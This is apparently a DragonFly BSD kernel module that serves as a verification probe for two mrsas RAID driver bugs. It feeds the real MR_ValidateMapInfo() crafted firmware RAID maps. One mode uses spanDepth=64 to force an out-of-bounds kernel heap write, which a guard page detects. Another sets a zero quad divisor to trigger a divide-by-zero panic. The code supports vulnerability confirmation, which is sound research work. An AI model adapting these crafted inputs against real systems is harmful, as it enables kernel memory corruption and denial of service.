/*
 * fp_probe.c - DF-4330 / DF-4331 verification probe (DragonFly 6.x, x86_64).
 *
 * Compiles the UNMODIFIED kernel source sys/dev/raid/mrsas/mrsas_fp.c into
 * this KLD (symbols renamed via rename.h) and drives the real
 * MR_ValidateMapInfo() - the exact entry the mrsas driver calls at attach
 * (mrsas.c:1762) and on every AEN RAID-map update (mrsas.c:2961) - with a
 * firmware-shaped MR_FW_RAID_MAP, using a real struct mrsas_softc allocated
 * with a guard page of 0xAA bytes placed directly behind sc->log_to_span[]
 * (log_to_span is the LAST member of mrsas_softc, mrsas.h:2424).
 *
 * Modes (sysctl hw.fp_probe_run=<mode>, root):
 *   0 - benign map   : expect MR_ValidateMapInfo == 0, guard intact
 *   1 - spanDepth=64 : expect MR_ValidateMapInfo == 0 (only totalSize is
 *                      checked!) and OOB WRITE past the end of
 *                      sc->log_to_span[64] into the guard (DF-4330)
 *   2 - quad.diff=0  : expect kernel #DE divide-by-zero panic inside
 *                      mr_update_span_set() (DF-4331)
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/malloc.h>
#include <sys/sysctl.h>
#include <sys/systm.h>
#include <sys/errno.h>
#include <sys/module.h>
#include <sys/types.h>
#include <sys/bus.h>

#include <dev/raid/mrsas/mrsas.h>

/* provided by the embedded mrsas_fp.c (renamed) */
extern u_int8_t probe_MR_ValidateMapInfo(struct mrsas_softc *sc);

static MALLOC_DEFINE(M_FP_PROBE, "fp_probe", "DF-4330/4331 probe buffers");

#define GUARD   4096
#define SLACK   (256 * 1024)

static struct mrsas_softc *probe_sc;
static MR_FW_RAID_MAP_ALL *probe_map;

static void
fp_map_craft(int mode)
{
	MR_FW_RAID_MAP *fw = &probe_map->raidMap;
	/* pointer view of the ldSpanMap extension array (raidMap.ldSpanMap[1]
	 * + MR_FW_RAID_MAP_ALL.ldSpanMap[63] are contiguous; the driver itself
	 * indexes raidMap.ldSpanMap[ld] with runtime ld) */
	MR_LD_SPAN_MAP *ldm = (MR_LD_SPAN_MAP *)(void *)&fw->ldSpanMap[0];
	int span, q;

	/* Consistent with the driver's only validation (mrsas_fp.c:257-265):
	 * totalSize == sizeof(MR_FW_RAID_MAP) - sizeof(MR_LD_SPAN_MAP)
	 *              + sizeof(MR_LD_SPAN_MAP) * ldCount
	 */
	fw->ldCount = 1;
	fw->totalSize = sizeof(MR_FW_RAID_MAP) - sizeof(MR_LD_SPAN_MAP) +
	    sizeof(MR_LD_SPAN_MAP) * fw->ldCount;

	/* real firmware fills absent entries with 0xFF (mrsas.h comment at
	 * ldTgtIdToLd); a zeroed entry would claim LD0 exists */
	memset(fw->ldTgtIdToLd, 0xFF, sizeof(fw->ldTgtIdToLd));
	fw->ldTgtIdToLd[63] = 63;	/* expose LD #63 */

	if (mode == 0) {
		/* benign, plausible RAID5 map */
		MR_LD_RAID *r = &ldm[63].ldRaid;
		r->spanDepth = 2;
		r->level = 5;
		r->stripeShift = 0;
		r->rowSize = 3;
		r->rowDataSize = 2;
		r->modFactor = 2;
		for (span = 0; span < 2; span++) {
			MR_SPAN_BLOCK_INFO *sb = &ldm[63].spanBlock[span];
			sb->block_span_info.noElements = 1;
			sb->block_span_info.quad[0].logStart = 0;
			sb->block_span_info.quad[0].logEnd = 0x1000000ULL;
			sb->block_span_info.quad[0].offsetInSpan = 0;
			sb->block_span_info.quad[0].diff = 64;
			sb->span.spanRowSize = 3;
			sb->span.spanRowDataSize = 2;
		}
	} else if (mode == 1) {
		/* DF-4330: spanDepth (fw u8) far above MAX_RAIDMAP_SPAN_DEPTH(8)
		 * drives the strip_offset[count] write loop in
		 * mr_update_span_set() (mrsas_fp.c:949-959) out of bounds. */
		MR_LD_RAID *r = &ldm[63].ldRaid;
		r->spanDepth = 64;	/* > MAX_SPAN_DEPTH */
		r->level = 5;
		r->stripeShift = 0;
		r->rowSize = 3;
		r->rowDataSize = 2;
		r->modFactor = 2;
		for (span = 0; span < MAX_SPAN_DEPTH; span++) {
			MR_SPAN_BLOCK_INFO *sb = &ldm[63].spanBlock[span];
			sb->block_span_info.noElements = MAX_QUAD_DEPTH;
			sb->span.spanRowSize = 3;
			sb->span.spanRowDataSize = 1;	/* width += 1 per span */
			for (q = 0; q < MAX_QUAD_DEPTH; q++) {
				sb->block_span_info.quad[q].logStart = 0;
				sb->block_span_info.quad[q].logEnd = ~0ULL;
				sb->block_span_info.quad[q].offsetInSpan = 0;
				sb->block_span_info.quad[q].diff = 64;
			}
		}
		/* Deterministic filler for the OOB READS of
		 * ldSpanMap[63].spanBlock[8..63] (DF-1528 class): every
		 * noElements u32 read back as 0x01010101 (>= element+1) and
		 * every spanRowDataSize u8 read back as 0x01. */
		memset((u_int8_t *)probe_map + sizeof(MR_FW_RAID_MAP_ALL),
		    0x01, SLACK);
	} else {
		/* DF-4331: quad->diff == 0 reaches the unguarded division at
		 * mrsas_fp.c:969 (mr_update_span_set) -> #DE panic. */
		MR_LD_RAID *r = &ldm[63].ldRaid;
		r->spanDepth = 1;
		r->level = 5;
		r->stripeShift = 0;
		r->rowSize = 3;
		r->rowDataSize = 2;
		r->modFactor = 2;
		ldm[63].spanBlock[0].block_span_info.noElements = 1;
		ldm[63].spanBlock[0].block_span_info.quad[0].logStart = 0;
		ldm[63].spanBlock[0].block_span_info.quad[0].logEnd = 0x1000000ULL;
		ldm[63].spanBlock[0].block_span_info.quad[0].offsetInSpan = 0;
		ldm[63].spanBlock[0].block_span_info.quad[0].diff = 0;	/* ! */
	}
}

static int
fp_probe_run(SYSCTL_HANDLER_ARGS)
{
	int error, t = 0, rv;
	size_t span_sz = MAX_LOGICAL_DRIVES * sizeof(LD_SPAN_INFO);
	long clobbered = 0, first_off = -1, i;
	u_int8_t *body;

	error = sysctl_handle_int(oidp, &t, 0, req);
	if (error != 0 || req->newptr == NULL)
		return (error);

	/* softc with a 0xAA guard right behind its last member log_to_span */
	probe_sc = kmalloc(sizeof(struct mrsas_softc) + GUARD,
	    M_FP_PROBE, M_WAITOK | M_ZERO);
	probe_map = kmalloc(sizeof(MR_FW_RAID_MAP_ALL) + SLACK,
	    M_FP_PROBE, M_WAITOK | M_ZERO);
	body = (u_int8_t *)probe_sc;
	memset(body + sizeof(struct mrsas_softc), 0xAA, GUARD);

	probe_sc->mrsas_debug = 0;		/* silence mrsas_dprint */
	/* give device_printf() a real device (the driver's softc always has one) */
	{
		devclass_t dc = devclass_find("nexus");
		if (dc != NULL) {
			device_t d = devclass_get_device(dc, 0);
			if (d != NULL)
				probe_sc->mrsas_dev = d;
		}
	}
	probe_sc->UnevenSpanSupport = 1;	/* mrsas.c:1757-1762 gate */
	probe_sc->map_id = 0;
	probe_sc->raidmap_mem[0] = probe_map;

	kprintf("fp_probe: mode=%d sizeof(softc)=%zu sizeof(LD_SPAN_SET)=%zu "
	    "sizeof(log_to_span)=%zu softc_end=%p guard=%p..%p\n",
	    t, sizeof(struct mrsas_softc), sizeof(LD_SPAN_SET), span_sz,
	    body + sizeof(struct mrsas_softc),
	    body + sizeof(struct mrsas_softc),
	    body + sizeof(struct mrsas_softc) + GUARD);

	fp_map_craft(t);

	kprintf("fp_probe: calling real MR_ValidateMapInfo() "
	    "(spanDepth=%d quad[0].diff=%u) ...\n",
	    ((MR_LD_SPAN_MAP *)(void *)&probe_map->raidMap.ldSpanMap[0])[63].ldRaid.spanDepth,
	    ((MR_LD_SPAN_MAP *)(void *)&probe_map->raidMap.ldSpanMap[0])[63].spanBlock[0].block_span_info.quad[0].diff);

	rv = probe_MR_ValidateMapInfo(probe_sc);

	kprintf("fp_probe: MR_ValidateMapInfo returned %d "
	    "(0 == map accepted, spansets built)\n", rv);

	for (i = 0; i < GUARD; i++) {
		if (body[sizeof(struct mrsas_softc) + i] != 0xAA) {
			clobbered++;
			if (first_off < 0) {
				kprintf("fp_probe: *** DF-4330 CONFIRMED: OOB WRITE past "
				    "end of sc->log_to_span[%d] (last softc member): "
				    "first clobbered byte at +%ld = 0x%02x\n",
				    MAX_LOGICAL_DRIVES, i,
				    body[sizeof(struct mrsas_softc) + i]);
			}
		}
	}
	kprintf("fp_probe: guard integrity: %ld/%d bytes clobbered past softc end\n",
	    clobbered, GUARD);

	if (t == 0 && rv == 0 && clobbered == 0)
		kprintf("fp_probe: sanity OK (benign map accepted, no corruption)\n");

	kfree(probe_sc, M_FP_PROBE);
	kfree(probe_map, M_FP_PROBE);
	probe_sc = NULL;
	probe_map = NULL;
	return (0);
}

SYSCTL_PROC(_hw, OID_AUTO, fp_probe_run, CTLTYPE_INT | CTLFLAG_RW, 0, 0,
    fp_probe_run, "I", "run mrsas FP probe mode 0|1|2");
